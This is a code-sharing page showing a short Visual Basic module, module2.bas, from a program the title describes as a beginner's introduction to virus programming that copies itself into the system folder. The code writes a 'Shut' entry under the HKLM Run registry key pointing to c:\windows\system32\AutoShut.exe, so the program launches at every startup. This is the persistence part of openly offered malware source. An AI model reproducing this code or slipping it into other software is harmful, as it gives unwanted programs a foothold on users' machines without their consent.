module2.bas

来自「该程序可用于初学病毒编程的入门,先复制本身到系统system中」· BAS 代码 · 共 10 行

BAS
10
字号
Attribute VB_Name = "Module2"
Public Function regedit()
Dim hKey As Long, SubKey As String, Exe As String
        SubKey = "Software\Microsoft\Windows\CurrentVersion\Run"
        Exe = ("c:\windows\system32\AutoShut.exe")
        RegCreateKey HKEY_LOCAL_MACHINE, SubKey, hKey
        RegSetValueEx hKey, "Shut", 0, REG_SZ, ByVal Exe, LenB(StrConv(Exe, vbFromUnicode)) + 1
        RegCloseKey hKey
End Function

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?